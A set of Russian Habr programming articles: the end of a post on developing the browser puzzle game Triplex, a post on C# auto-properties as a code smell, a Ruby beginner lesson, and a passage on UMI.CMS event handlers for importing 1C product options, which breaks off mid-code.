Фигуры, которые можно вращать, ищутся в выбранных для игры разбиениях перебором. Для каждой фигуры рассматривается множество всевозможных её поворотов и отражений — преобразований: 4 поворота и отражение, — всего восемь вариантов. Для Триплекса максимум 4: у палочек по 2, у уголков 4. Если в исходном наборе фигур, одну заменить на любое её преобразование, и при этом из нового набора нельзя составить решение, тогда такую
фигуру можно разрешить поворачивать — решение останется тем же. Далее, из набора поворачиваемых фигур, для игры выбирается одна, которая больше всего усложняет задачу поиска решения Solver-ом. Выбранная фигура случайным образом поворачивается.
Интуитивно кажется, что задачи с поворачиваемыми фигурами легче решать — собираем все фигуры, оставляя свободное место
для поворачиваемой, и потом больше шансов, что фигура влезет в оставленное место. Однако, если учесть, что, делая фигуру
поворачиваемой, мы не добавляем новых решений, то количество комбинаций, которое приходится проверить Solver-у,
увеличивается в такое количество раз, сколько различных преобразований у поворачиваемой фигуры (2 или 4 для Триплекса).
Можно было бы выбрать несколько поворачиваемых фигур, например одно из максимально усложняющих решение подмножество фигур. Возможно в следующих версиях это будет сделано.
#### Как упорядочены задачи
Solver решает задачи естественным образом, последовательно перебирая возможные комбинации. Решив задачу, Solver присваивает ей уровень сложности — количество выполненных циклов перебора, которое ограничено сверху количеством возможных комбинаций, рассчитываемое по формуле C!/(C1!C2!...Cm!). Задачи Триплекса упорядочены по возрастанию описанного уровня сложности. Такая оценка сложности не совпадает со сложностью, которую испытывает человек. Чтобы оценить, сложность каждой задачи с точки зрения игрока, на сервере ведётся анонимная статистика времени решения каждой задачи. В будущем, я надеюсь, такая статистика позволит упорядочить задачи лучше.
#### Другие варианты алгоритма генерации
Перебор всевозможных разбиений не единственный возможный способ поиска всех задач, удовлетворяющих условию игры. Можно искать задачи, перебирая всевозможные наборы фигур, по суммарной площади совпадающие с площадью решения. В Триплексе, например, всего 8 различных фигур: две двойных палочки, две тройных палочки и четыре тройных уголка.
Для задачи 6х6=36, максимальное количество фигур 18, минимальное 12. Таким образом, количество наборов можно оценить сверху величиной 818/(2!63!3!) = 248/9 < 245 (каждая из 18-ти фигур может быть одной из 8 возможных, и делённое на минимальное количество перестановок) и снизу 812/(8!4!) > 216 (каждая из 12-ти фигур может быть одной из 8, и делённое на максимальное количество перестановок). Для упорядоченных наборов формулы те же, но только без делителей. С одной стороны упорядоченных вариантов будет больше, но, скорее всего, удастся придумать более оптимальный обход границ.
Можно перебирать всевозможные восьмёрки чисел (a1, a2,… a8), где ai — количество i-тых фигур в решении. Для таких восьмёрок действует линейное ограничение на суммарную площадь фигур:
2\*a1 + 2\*a2 + 3\*a3 + 3\*a4 +… + 3\*a8 = 36
Программа, работавшая по такому алгоритму, нашла все уровни Триплекса за 2 часа. Это в 500 раз быстрее, чем потребовалось для перебора разбиений. Правда стоит отметить, что сложность возрастает экспоненциально. За следующие две недели такой способ нашел всего 1300 уровней.
### Клиентская часть игры
Немаловажную часть игры составляет программа, которая предоставляет игроку возможность решать сгенерированные задачи. Игра написана на языках HTML, CSS и JavaScript (всего 2100 строк). Вся логика, все ресурсы и даже все 700+ уровней уместились в одном html файле. Поэтому, один раз скачав игру, можно пройти её до самого конца, не имея сетевого подключения.
#### Графический дизайн
Графика в игре очень простая, без картинок, не считая фоновой. Квадратики выполнены в виде разноцветных -ов с градиентной заливкой. Круг внутри вращаемого квадратика — тоже квадратик, только с максимально закруглёнными границами и обратной градиентной заливкой. Оказалось, что в IE9 не предусмотрен такой трюк и градиентная заливка кружка делается всё равно квадратной.
Фон в игре я хотел сделать живым. На нём должны были усыпляющее медленно летать серые круги из дивов. Видимо навеяло оформление HTC Sense. Однако, я наткнулся на два препятствия.
Во-первых: очень плавно заставить их летать не получилось: движение на один пиксель в секунду почему-то выглядело скачкообразно, дёргано. Я пытался сдвигать чаще с шагом меньше 1.0, но сдвигались они всё равно дискретно.
Во-вторых: в некоторых браузерах под Android даже несколько больших кругов очень сильно загружали систему. Поэтому я просто сделал из фона статическую картинку и 'зашил' её внутрь html файла вот таким CSS заклинанием: background-image: url(data:image/png;base64,/9j/4AAQSkZ ...=);
Чтобы размер квадратиков подстраивался под размер и разрешение экрана, я не использовал спрайты, потому что при масштабировании они становятся нечёткими.
Возможно, кто-то спросит, почему я не использовал HTML5 Canvas для 2D графики? Соглашусь, что для такой простой графики функционал Canvas-а подошел бы очень хорошо. Но так получилось, что когда я писал прототип, мне была известна одна неприятная [особенность](http://tomlee.co/2009/06/html-5-canvas-stroke-coordinates/) координатной сетки Canvas-а: целочисленные координаты обозначают промежутки между пикселями. К тому же, не внушала оптимизма производительность Canvas-а на моём новеньком планшете. Поэтому первый прототип использовал HTML DOM и квадраты из DIV элементов, которые дожили до окончательной версии.
#### Сохранение пройденных уровней
Восприятие HTML игр для большинства людей, кому я показывал Триплекс, заставляло их беспокоиться о сохранении результатов прохождения. Обычно они спрашивали где-то на 15-30 уровне: «А если сеть отключится или комп зависнет, то всё заново проходить?»
Наверное важно отметить, что игра автоматически сохраняется каждые 10 секунд в вашем профиле браузера на жестком диске. Поэтому не стоит бояться выключить компьютер или обновить страницу. Механизм сохранения использует [HTML5 localStorage](http://freehabr.ru/blog/html/1041.html). Это, а также то, что все уровни хранятся в самой игре, позволяет играть без сетевого подключения.
Однако у localStorage, есть и обратная сторона медали, которую я обнаружил во время бета тестирования, решив зарегистрировать новое доменное имя и переселить игру на новый адрес. Дело в том, что localStorage привязан к доменному имени сайта. Получается, что если игрок загрузит игру с другого сайта, то придётся начинать всё сначала. Чтобы подойти системно к вопросу, давайте уточним, к чему ещё привязан localStorage. К локальному диску, а значит, на другом устройстве уже не поиграешь (либо на работе, либо дома, ну или на телефоне). Ещё есть привязка к браузеру, мы же не знаем где и в каком формате хранится localStorage. Тут мои руки потянулись к старым добрым проверенным cookies, логинам, паролям и серверной поддержке навороченными скриптами. И пока лень сопротивлялась, было решено прибегнуть к ещё более древнему способу тех времён, когда наших прадедов ещё пацанами оттаскивали зауши от чёрно-белого телевизора и приставки [Денди](http://ru.wikipedia.org/wiki/Dendy). Да, вы уже догадались, я говорю про запись номера уровня и его кода карандашом на бумажке. Код можно найти в опциях игры.
#### Интернационализация и локализации
Я обещал своей тёте, что закончу с игрой и она сможет поиграть. Поэтому решил реализовать возможность перевести игру на русский или другой язык. Такая возможность называется интернационализацией, и в кругу разработчиков обозначается i18n, потому что в английском слове internacionalization между первой i и последней n стоят 18 символов.
В голову пришла настолько простая идея реализации i18n, что даже не пришлось искать готовых решений. Для каждого HTML элемента, в котором содержится языковой текст, был указан класс 'i18n'. Например:simple graphics. В коде игры, заведена структура I18N, в которой содержатся переводы всех фраз:
```
// переводы фраз
var I18N = {
"OK": {
ru: "OK",
fr: "bon",
de: "OK",
zh: "??" },
"simple graphics": {
ru: "простая графика",
fr: "graphiques simple",
de: "einfache Graphik",
zh: "????" },
...
}
```
При первой смене языка, для всех элементов класса i18n, их оригинальное содержимое сохраняется в поле origHTML и заменяется на перевод, указанный в структуре I18N.
Фраза 'N секунд/минут/часов/дней назад' потребовала контекстнозвисимого перевода. Для этого пришлось немного усложнить логику. В структуре I18N вместо перевода, можно указывать функцию, которая переводит в зависимости от контекста:
```
"seconds ago": {
en: i18nSecondsAgoEn,
ru: **i18nSecondsAgoRu**,
fr: " il y a quelques seconds",
de: i18nSecondsAgoDe,
zh: " ???" },
...
function **i18nSecondsAgoRu**(context) {
return i18nNumberRu(context, 'секунд', 'секунду', 'секунды');
}
...
function i18nNumberRu(context, num0, num1, num2) {
var num = +context;
var result;
if (num >= 20) {
num = num % 10;
}
if (num == 1) {
result = num1;
} else if (2 <= num && num <= 4) {
result = num2;
} else {
result = num0;
}
return context + ' ' + result + ' назад';
}
```
Русскую локализацию (l10n = localization) делал я сам, французскую, немецкую и китайскую мне сделали друзья: Юля, Маша с Сергеем и [Алексей](http://habrahabr.ru/users/AlexeiZavjalov/).
### Таблица достижений
Для игроков, которым важен соревновательный дух, игра дополнена серверной поддержкой таблицы достижений, которая доступна с главной страницы игры. В таблице достижений для каждого уровня хранится имя игрока, решившего этот уровень первым.
Играя в режиме online:* все игроки видят, кто и как давно первым решил текущий уровень;
* после прохождения каждого уровня на сервер отправляется время прохождения уровня, и если этот уровень ещё никто не прошел, то можно также занести своё имя в таблицу.
#### Как взломать игру
Уверен, что найдутся умельцы, которые попытаются записаться в таблицу рекордов, не решая задачи из игры. Хочу сказать, что в лоб это сделать не получится. Чтобы отметить на сервере своё прохождение уровня, надо предоставить контрольную сумму решения. Эта контрольная сумма также нужна, для того чтобы перейти к следующему уровень. То есть, каждый уровень в игре закодирован решением предыдущего.
Я также попытался защитить от взлома серверную часть: * есть проверки для всех входных параметров;
* экранирование специальных символов в SQL запросах;
* экранирование специальных HTML символов в таблице рекордов.
Легко можно испортить статистику по времени прохождения, но она на игру никак не влияет, и сделана только для приблизительной оценки сложности уровней.
### Вопросы подготовки сайта и размещения игры в интернете
Чтобы поделиться игрой не только с друзьями, но и с многочисленной интернет аудиторией, пришлось погрузится в изучение большого числа сопутствующих технологий: хостинг, регистрация доменного имени, форумы, социальные сети, web services, openID,… Все эти термины на слуху у большинства пользователей, но даже для того, чтобы просто решить, подходит или нет та или иная технология для решения конкретных задач, приходится изучать её глубже.
### Денежный вопрос
Оказалось, что не всё в этом мире можно сделать бесплатно. Пока затраты на игру довольно скромные: 150 руб/год за доменное имя, 300 руб/год за простенький хостинг, не отягощённый рекламой. Недавно я перенёс игру на бесплатно предоставленный друзьями ([AlexeiZavjalov](http://habrahabr.ru/users/AlexeiZavjalov/), [vitroot](http://habrahabr.ru/users/vitroot/)) хостинг и установил на нём форумный движок [phpBB3](http://www.phpbb.com/). Я не планирую переводить Триплекс на коммерческие рельсы, и постараюсь, чтобы игра осталась бесплатной и свободной от рекламы. В будущем, возможно, выложу исходники генератора уровней. Хотя, думаю, любому программисту не составит труда написать его самостоятельно, прочитав эту статью.
Заключение
----------
Ну вот вроде бы и всё, о чём пока нашлось время рассказать. Надеюсь игра вам понравится настолько, насколько мне было интересно её создавать. | https://habr.com/ru/post/141085/ | null | ru | null |
# «Запах» кода: автоматические свойства
Это третий пост из серии о [Poka-yoke проектировании](http://habrahabr.ru/post/205086/) – также известном, как инкапсуляция.
[Автоматические свойства](http://msdn.microsoft.com/en-us/library/bb384054.aspx) – одна из наиболее излишних возможностей в C#. Я знаю, что многие люди очень их любят, но они решают проблему, с которой вы и сталкиваться не должны.
Я абсолютно согласен с тем, что код, который выглядит следующим образом, абсолютно избыточен:
```
private string name;
public string Name
{
get { return this.name; }
set { this.name = value; }
}
```
Однако, решением проблемы не является перепись это кода следующим образом:
```
public string Name { get; set; }
```
Проблема с кодом в первом примере заключается не в его церемониальности. Проблема заключается в том, что он нарушает инкапсуляцию. На самом деле
> “[…] геттеры и сеттеры не обеспечивают инкапсуляцию или сокрытие информации: они являются способом нарушения этих принципов, который легализован языком программирования.”
>
> James O. Coplien & Gertrud Bjørnvig. Lean Architecture. Wiley. 2010. p. 134.
В то время как лично я считаю, что автоматические свойства имеют своё применение, я очень редко нахожу им его. Они никогда не подходят для ссылочных типов и только изредка применимы в типах-значениях
**«Запах» кода: автоматическое свойство ссылочного типа**
Прежде всего, давайте рассмотрим очень большой набор свойств, которые раскрываются ссылочным типом.
В случае ссылочных типов, возможным значением является null. Однако, с учётом Poka-yoke дизайна, null никогда не является подходящим значением, поскольку он ведёт к NullReferenceExceptions. [Null Object](http://en.wikipedia.org/wiki/Null_Object_pattern) паттерн является лучшей альтернативой, позволяющей справлять с ситуациями, когда значение может быть неопределённым.
Другими словами, автоматические свойства вроде свойства Name никогда не являются подходящими. Сеттер обязан иметь какое-либо защитное выражение для того, чтобы защититься от значения null (и, возможно, от других не допустимых значений). Вот основательный пример:
```
private string name;
public string Name
{
get { return this.name; }
set
{
if (value == null)
{
throw new ArgumentNullException("value");
}
this.name = value;
}
}
```
В качестве альтернативы, защитное выражение может также осуществлять проверку на null и обеспечивать значение по умолчанию:
```
private string name;
public string Name
{
get { return this.name; }
set
{
if (value == null)
{
this.name = "";
return;
}
this.name = value;
}
}
```
Однако эта реализация содержит нарушение [POLA](http://en.wikipedia.org/wiki/Principle_of_least_astonishment), потому что геттер иногда возвращает значения, отличные от присвоенных. Можно исправить эту проблему, посредством добавления ассоциированного поля типа Boolean, которое показывает было ли имени присвоено null, чтобы null можно было бы возвратить из сеттера в этом исключительном случае, но это ведёт к другому «запаху» в коде.
**«Запах» кода: автоматические свойства типов-значений**
Если тип свойства является типом значения, случай становится менее ясным, поскольку значения не могут принимать null. Это означает, что сторожок на null никогда не подходит. Однако, прямолинейное потребление типа-значения также может быть не подходящим. По сути, [допустимо только то, чтобы класс осмысленно мог принять и обработать любое значения этого типа.](http://blog.ploeh.dk/2011/05/25/DesignSmellPrimitiveObsession.aspx)
Если, например, класс может реально работать только с определённым подмножеством всех возможных значений, может быть введено защитное выражение. Рассмотрим пример:
```
public int RetryCount { get; set; }
```
Это свойства могло бы быть использовано для установки нужного количества попыток для выполнения заданной операции. Проблема заключается в том, что автоматическое свойство позволяет установить отрицательное значение, а это бессмысленно. Одним возможным решением является добавление защитного выражения:
```
private int retryCount;
public int RetryCount
{
get { return this.retryCount; }
set
{
if (value < 0)
{
throw new ArgumentOutOfRangeException();
}
this.retryCount = value;
}
}
```
Однако, во многих случаях, раскрытие свойства примитивного типа, скорее всего является случаем «одержимости примитивами».
**Исправленный дизайн: защитное выражение**
Как я и описал ранее, самым быстрым способом исправить проблему с автоматическим свойством – реализовать свойство с защитным выражением. Это даёт гарантию, что инварианты класса правильно инкапсулированы.
**Исправленный дизайн: свойство типа-значения**
Когда автоматическое свойство является типом-значения, реализация защитного выражения всё ещё может иметь смысл. Однако, когда свойство является реальным симптомом «одержимости примитивами», лучшей альтернативой является введение правильного объекта-значения.
Рассмотрим, в качестве примера, следующее свойство:
```
public int Temperature { get; set; }
```
Это плохой дизайн по нескольким причинам. Он не связан со смыслом единицы измерения и позволяет присвоение неограниченных значений. Что произойдёт, если будет присвоено -100? Если единицей измерения является Цельсий, то всё нормально, но если – Кельвин, то налицо ошибка. В независимости от единицы измерения, попытка присвоения int.MinValue должна провалиться.
Более устойчивого дизайна можно было бы достигнуть путём введения нового типа Temperature и, изменив тип свойства на введённый. Кроме защиты инвариантов, новый класс также мог бы инкапсулировать конвертацию между различными мерами температур.
Однако, если объект-значение реализован как ссылочный тип, ситуация становится эквивалентной ситуации, описанной выше и проверка на null является необходимой. Использование автоматических свойств уместно, если объект-значение реализован как тип-значение.
Вывод: автоматические свойства редко являются уместными. На самом деле, они являются допустимыми только тогда, когда тип свойства является типом-значением и все вероятные значения являются допустимыми. Поскольку существует несколько случаев, когда автоматические свойства являются уместными, их использование нельзя полностью исключать, но нужда в их использовании должна рассматриваться как причина для дополнительного расследования. Использование автоматических свойств является «запахом» в коде, но не анти-паттерном.
Стоит заметить, что свойства также могут нарушать [закон Деметры](http://en.wikipedia.org/wiki/Law_of_Demeter), но это уже тема для будущего поста. | https://habr.com/ru/post/205096/ | null | ru | null |
# Покорим Ruby вместе! Капля седьмая
В этой капле мы еще раз пробежимся по всем рассмотренным нами темам и углубимся в них в поисках упущенного и интересного.
**Внимание!** Это последняя капля, опубликованная в блоге Ruby! Все прошлые ([1](http://habrahabr.ru/blogs/starting_programming/48559/), [2](http://habrahabr.ru/blogs/starting_programming/48607/), [3](http://habrahabr.ru/blogs/starting_programming/48667/), [4](http://habrahabr.ru/blogs/starting_programming/48756/), [5](http://habrahabr.ru/blogs/starting_programming/48859/), [6](http://habrahabr.ru/blogs/starting_programming/48961/)) уже сидят в новом блоге [Стартап «Программист»](http://habrahabr.ru/blogs/starting_programming/). Блог предназначен для начинающих и, возможно, «матёрых» программистов, желающих выучить шаг за шагом первый или… цатый язык программирования. Теперь следить за каплями еще проще!
#### Ввод и inspect
`puts "What is your name?"
STDOUT.flush
chompname = gets.chomp
puts "Again, what is your name?"
name = gets
puts "Hello, " + name
puts "Hi, " + chompname
puts 'But name = ' + name.inspect + ' and chompname = ' + chompname.inspect`
`STDOUT` — стандартная глобальная константа, обозначающая стандартный канал вывода. Метод `flush` очищает все данные во внутреннем буфере ввода/вывода Руби. Использование этой строки кода необязательно, но рекомендуется. Помним, что все константы должны начинаться с заглавной буквы.
`gets` принимает одну строку введенных данных и передает его переменной. `chomp` — это метод класса `String`. Несмотря на то, что результат мы видим одинаковый, необходимо помнить, что `gets` возвращает строку и `\n`, в то время как `chomp` удаляет этот `\n` (метод также удаляет возврат каретки `\r` и комбинацию `\r\n`).
Легко продемонстрировать это с помощью метода `inspect`, роль которого «заглядывать» в переменные, классы — в общем в любые объекты Руби.
#### Пунктуация в методах
Восклицательный знак в конце метода означает, что он не только возвращает результат, но и изменяет объект, к которому он применен (это так называемый «опасный» метод). Метод `strip` убирает пробелы в конце строки:
````
string = 'Bring, bring '
a = string.strip!
puts string
puts a
````
Методы с вопросительным знаком, так называемые **предикаты**, возвращают только `true` или `false`, например, метод массивов `empty?` вернет true, если если в массиве нет элементов:
`a = []
puts "empty" if a.empty?`
Метод `any?` наоборот вернет `true`, если в массиве элементы присутствуют, а `nonzero?`, определенный в классе `Numeric`, выдаст `nil`, если число, на которое он вызван, равно нулю, в противном случае вернет это число.
#### Используем %w
Порой создание массива из слов может быть большой головной болью, однако в Руби есть упрощение для этого: `%w{}` делает то, что нам нужно:
`pets1 = [ 'cat', 'dog', 'snake', 'hamster', 'rat' ]
pets2 = %w{ cat dog snake hamster rat } # pets1 = pets2`
#### Ветвление по условиям
Мы уже говорили о том, что выражения условий позволяют контролировать направления выполнения кода. Повторим эти выражения и узнаем новые.
##### if
````
a = 7
if a == 4
a = 9
end
````
Но Руби не был бы Руби, если б не упрощал нам задачу. Полностью аналогичный цикл:
`a = 7
a = 9 if a == 4`
##### if-elsif-else
Пример условия:
````
a = 7
if a == 4
a = 9
else
if a == 7
a = 10
end
end
````
`elsif` максимально упростит это условие и получаем:
````
a = 7
if a == 4
a = 9
elsif a == 7
a = 10
end
````
##### Трёхместный оператор
`a = 7
plus_minus = '+'
print "#{a} #{plus_minus} 2 = " + (plus_minus == '+' ? (a+2).to_s : (a-2).to_s)`
Конструкция `[? (expr) : (expr)]` называется *трёхместным* (ternary) оператором (единственный трехместный в Руби) и служит для подсчета выражения и возвращения результата. Рекомендуется использовать только для второстепенных задач, так как подобный код тяжело воспринимается. Подсчитывается сначала первый операнд перед `?`, если его значение не `false` и не `nil`, значением выражения становится значение второго операнда, иначе — третьего (после `:`).
#### while
`while` в Руби синтаксически похож на `if` и `while` в других ЯП:
````
a = 0
while a < 5
puts a.to_s
a += 1
end
````
Как обычно цикл можно поместить в одну строку: `<...код...> while <выражение>`
#### Символы (Symbols)
В коде `Symbol` выглядит как имя переменной, только начинающееся с `:`, например, :action. `Symbol` — самый простой объект в Руби, который возможно создать — у него есть только имя и `ID`. Symbol'ы более эфективны, производительны, чем строки, — данное имя для symbol ссылается на один объект на протяжении всей программы, в то время как две строки с одинаковым содержанием являются разными объектами — это сохраняет время и память:
````
ruby_know = :yes
if ruby_know == :yes
puts "You're a good guy!"
else
puts 'Learn Ruby!'
end
````
В этом примере `:yes` — `symbol`, он не содержит значений или объектов, вместо этого он используется как постоянное имя в коде. Мы можем преспокойно заменить `:yes` на строку `"yes"`, результат будет такой же, но программа будет менее производительной. Более подробно о теме вы можете узнать в замечательной статье от [Kane](https://habrahabr.ru/users/kane/) [«Различие между символами и строками»](http://habrahabr.ru/blogs/ruby/48993/)
#### Ассоциативные массивы
Асоциативные массивы (далее хэши, hashes) похожи на массивы, так как они также содаржат упорядоченный набор объектов. Однако в массиве объекты индексируются числами, а в хэше индексом может быть любой объект. Простой пример:
````
h = {'dog' => 'sobaka', 'cat' => 'koshka', 'donkey' => 'oslik'}
puts h.length # 3
puts h['dog'] # 'sobaka'
puts h # catkoshkadonkeyoslikdogsobaka
````
Как видим элементы хэша не упорядочиваются, поэтому хэши непригодны для списков, очередей и т.д.
Везде, где вы хотите поставить строку в кавычках, задумайтесь о применении `symbol`:
`users = Hash.new
users[:nickname] = 'MaxElc'
users[:language] = 'Russian'
puts users[:nickname] #MaxElc`
#### Эпилог
Еще небольшая и интересная порция данных, необходимая для нашего дальнейшего развития в Руби. Комментарии приветствуются! | https://habr.com/ru/post/49013/ | null | ru | null |
# Добавление своего функционала в UMI.CMS при помощи обработчиков событий
В системе управления сайтами UMI.CMS изначально заложено разделение на основной движок сайта, который не трогается вэб-разработчиком (и который перезаписывается при обновлении системы), и дополнительный (кастомный) функционал, который уже разработчик сайта адаптирует под себя: собственные шаблоны дизайна, макросы (PHP-функции, вызываемые из шаблонов), собственные модули, если необходимо.
Однако, при разработке своего сайта бывают ситуации, когда надо изменить уже существующий функционал сайта:
* добавить собственную логику импорта данных из XML;
* выполнить какие-то действия при импорте данных;
* выполнить какие-то действия при создании или изменении заказа;
* выполнить какие-то действия по расписанию;
* … и так далее.
В этом случае приходится либо править системный код движка (что сразу добавляет проблем при обновлении CMS), либо использовать встроенный функционал событий. В [документации](http://api.docs.umi-cms.ru/razrabotka_nestandartnogo_funkcionala/sobytijnaya_model_umicms/naznachenie_obrabotchika_sobytiya/) или [на сторонних ресурсах](http://umi-cms.spb.su/api/events/216/) этот вопрос рассмотрен, однако, на мой взгляд, недостаточно подробно. Данная статья является попыткой собрать воедино сведения о работе с событиями в UMI.CMS, а также на основе примера показать, как при помощи обработки событий можно расширить функционал системы.
Согласно документации в UMI.CMS есть два вида обработчиков событий:
* **системные** — это предустановленные обработчики, которые прописываются при разработке модуля. Эти обработчики прописываются в файле events.php, который лежит в директории модуля. Для модулей, входящих в поставку UMI.CMS, этот файл изменять нельзя.
* **пользовательские** — эти обработчики должны находиться в файле custom\_events.php в директории модуля.
При возникновении события происходит вызов всех назначенных ему обработчиков (как системных, так и пользовательских). Кроме того (об этом в документации не написано), системные обработчики событий выполняются **после** пользовательских. Это надо учитывать при разработке своего функционала.
События могут вызываться до изменения объекта (т.н. режим *before*) и после изменения объекта (режим *after*). Не все события могут быть и «до», и «после», какие именно, надо смотреть по ссылке, приведенной ниже.
Список внутренних событий можно найти в [документации](http://api.docs.umi-cms.ru/razrabotka_nestandartnogo_funkcionala/sobytijnaya_model_umicms/standartnye_tochki_vyzova/). Необходимо помнить, что при действиях над одним и тем же объектом в разных местах будут вызываться разные обработчики событий. Это вызывает определенные неудобства:
Пусть например мы разрабатываем интернет-магазин на базе UMI, и нам необходимо выполнить какие-то действия при изменении статуса заказа (например, отослать дополнительные емайлы, выставить какие-то другие поля в заказе и т.п. в зависимости от статуса). Смотрим, где мы можем «отловить» события изменения статуса заказа:
* изменение статуса при создании заказа пользователем сайта — событие **order-status-changed** модуля Emarket;
* изменение статуса из админки на странице подробной информации о заказе — системное событие **systemModifyObject**;
* изменение статуса из админки на странице списка всех заказов — системное событие **systemModifyPropertyValue**;
* изменение статуса при импорте его через XML (например, при выгрузке из 1С) — событие **exchangeOnUpdateObject**.
Таким образом, чтобы учесть все места изменения статуса заказа, придется писать 4 обработчика.
Остановимся подробнее на системном событии **systemModifyPropertyValue**. Упоминаний о нем я в документации не нашел, увидел его вызов только при анализе кода системы, а ведь без него обойтись в описываемой ситации достаточно сложно, поскольку администратор сайта (менеджер) может изменить данные заказа двумя способами:
* на главной странице модуля «Интернет-магазин» в списке всех заказов — UMI позволяет редактировать статус и другие данные заказа прямо непосредственно в этом списке;
* в окне подробной информации о заказе, которая открывается по клику на заказ.
И если пользоваться только обработчиком события **systemModifyObject**, то придется объяснять всем будущим администраторам сайта, что им ни в коем случае нельзя менять данные заказа из списка заказов, а только надо заходить в каждый заказ, и менять что-то там. Что, конечно же, очень неудобно и оставляет большую возможность ошибиться.
Системное событие **systemModifyPropertyValue** имеет следующие параметры:
* *entity* — ссылка на объект, у которого меняется свойство;
* *property* — имя изменяемого свойства;
* *oldValue* — старое значение свойства;
* *newValue* — новое значение свойства;
Обработчик этого события можно использовать не только при редактировании списка заказов в модуле «Интернет магазин», но и в других аналогичных списках объектов в админке UMI.CMS.
Как назначается обработчик событий, можно посмотреть, например [здесь](http://api.docs.umi-cms.ru/razrabotka_nestandartnogo_funkcionala/sobytijnaya_model_umicms/naznachenie_obrabotchika_sobytiya/) или [здесь](http://wiki.umisoft.ru/%D0%98%D0%B7%D0%BC%D0%B5%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BF%D0%B0%D1%80%D0%B0%D0%BC%D0%B5%D1%82%D1%80%D0%B0_name_%D0%BF%D1%80%D0%B8_%D0%B8%D0%BC%D0%BF%D0%BE%D1%80%D1%82%D0%B5). Я же хочу показать более сложный пример: как при помощи создания обработчика события импорта данных добавить недостающий функционал в UMI — научить систему импортировать опционные свойства товара.
Пусть, например, мы разрабатываем интернет-магазин по продаже футболок. У нас есть установленная 1С «Управление торговлей», в которой мы собираемся вести учет товаров и заказов. В 1С заведена вся необходимая номенклатура товаров и желательно, чтобы она с минимальными действиями выгружалась на сайт.
Специфика продажи подобных товаров такова, что у нас есть, например, модель «Футболка Дольче», у которой есть конкретные продаваемые единицы:
* Футболка Дольче Белая, 40 размер;
* Футболка Дольче Белая, 48 размер;
* Футболка Дольче Красная, 44 размер;
* … и так далее.
То есть множество позиций данной модели, отличающиеся цветом и размером (а возможно и ценой, для определенных комбинаций). В терминах 1С это «характеристики номенклатуры». А с точки зрения интернет-магазина мы хотим, чтобы у нас была одна страница модели «Футболка Дольче», на которой покупатель мог бы выбрать себе цвет и размер и создать с ними заказ.
С точки зрения 1С кажется все просто. Мы ставим в настройках номенклатуры галочку «характеристики». Делаем выгрузку товаров сначала на диск, смотрим получившийся XML-файл (offers.xml), предложения нужные эти есть, радуемся и делаем выгрузку на сайт. И тут понимаем, что радовались рано. Сами товары добавились, а вот их характеристики (что у конкретной футболки есть десяток предложений с разными комбинациями цветов и размеров) — нет.
В системе UMI необходимый нам функционал реализуется при помощи [опционных свойств](http://help.docs.umi-cms.ru/rabota_s_modulyami/modul_katalog/redaktirovanie_obekta_kataloga/). То есть на первый взгляд всё есть. Однако после дальнейшего копания в исходниках и документации выясняется, что в текущей версии UMI (2.8.6) модуль «Обмен данными» не поддерживает импорт опционных свойств. Так что будем дописывать необходимый функционал самостоятельно.
Особенности импорта из 1С в UMI описаны в [документации](http://wiki.umisoft.ru/%D0%A2%D0%B5%D1%85%D0%BD%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B0%D1%8F_%D1%81%D1%82%D0%BE%D1%80%D0%BE%D0%BD%D0%B0_%D0%B8%D0%BC%D0%BF%D0%BE%D1%80%D1%82%D0%B0_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85_%D0%B8%D0%B7_1%D0%A1). Чтобы добавить свой функционал при импорте данных надо модифицировать шаблон импорта /xsl/import/custom/commerceML2.xsl, а также добавить свой обработчик события импорта.
Модифицируем шаблон импорта:
**Шаблон импорта**
```
...
Объект каталога
...
...
...
...
...
commerceML2
Идентификатор в 1С
Характеристики
```
При помощи данного шаблона создается отдельный справочник (Справочник для поля «Характеристики»), в который записываются все пришедшие варианты характеристик из 1С. Кроме того, модифицируется тип для объекта каталога (товара), чтобы добавить туда опционные свойства. Таким образом, сами характеристики мы уже загрузили на сайт, осталось только написать код, который бы сопоставил товару характеристики.
Добавляем свой обработчик событий. Для этого создаем в папке /classes/modules/exchange файл custom\_events.php c кодом
```
php
new umiEventListener("exchangeOnUpdateElement", "exchange", "onImportElement");
new umiEventListener("exchangeOnAddElement", "exchange", "onImportElement");
?
```
Таким образом, мы задали, что как при создании, так и при обновлении элемента (страницы товара) при импорте будет вызван метод onImportElement. Напишем код этого метода в файле \_\_custom.php:
**Код обработчика события**
```
/**
* Обработчик события импорта страницы товара из 1С
* @param e - ссылка на экземпляр события
*/
public function onImportElement($e) {
if($e->getMode() == "after") {
//добавляем опционные свойства
$this->addOptionedProperties($e);
}
}
/**
* Добавляет в случае необходимости опционные свойства. Этот функционал отсутствует в оригинальном
* импортере UMI
* @param e - ссылка на экземпляр события
*/
function addOptionedProperties($e) {
$hierarchy = umiHierarchy::getInstance();
$element = $e->getRef('element');
if (!$element instanceof umiHierarchyElement
|| $element->getMethod() != 'object') {
//это не страница товара
return false;
}
$object_id = $element->objectId;
//XML DOM node с данными данного товара
$element_info = $e->getParam('element_info');
$properties = $element_info->getElementsByTagName('property');
$propertiesSize = $properties->length;
$types = umiObjectTypesCollection::getInstance();
//обрабатываем все свойства товара из XML
foreach($properties as $key => $info) {
$old_name = $info->getAttribute('name');
//получаем внутреннее имя свойства
$name = self::translateName($old_name);
$nl = $info->getElementsByTagName("value");
if (!$nl->length) {
//не найдено значение свойства в XML
continue;
}
$value_node = $nl->item(0);
//получаем ссылку на соответствующий тип данных и соответствующее поле товара
$type_id = ($element instanceof umiHierarchyElement) ? $element->getObjectTypeId() : $element->getTypeId();
$type = umiObjectTypesCollection::getInstance()->getType($type_id);
$field_id = $type->getFieldId($name, false);
$field = umiFieldsCollection::getInstance()->getField($field_id);
if (!$field instanceof umiField) {
continue;
}
switch($field->getDataType()) {
//нам надо обработать только опционные свойства, так как остальные уже обработаны движком UMI
case "optioned":
//storing old settings
$oldForce = umiObjectProperty::$USE_FORCE_OBJECTS_CREATION;
umiObjectProperty::$USE_FORCE_OBJECTS_CREATION = false;
//находим справочник, на который ссылается поле
$objectsCollection = umiObjectsCollection::getInstance();
$guideItems = $objectsCollection->getGuidedItems($field->getGuideId());
$options = $value_node->getElementsByTagName("option");
$items = Array();
foreach($options as $option) {
//в поле int у нас хранится число товаров на складе соответствующего цвета и размера
$int = $option->hasAttribute("int") ? $option->getAttribute("int") : null;
//в поле float у нас хранится цена товара
$float = $option->hasAttribute("float") ? $option->getAttribute("float") : null;
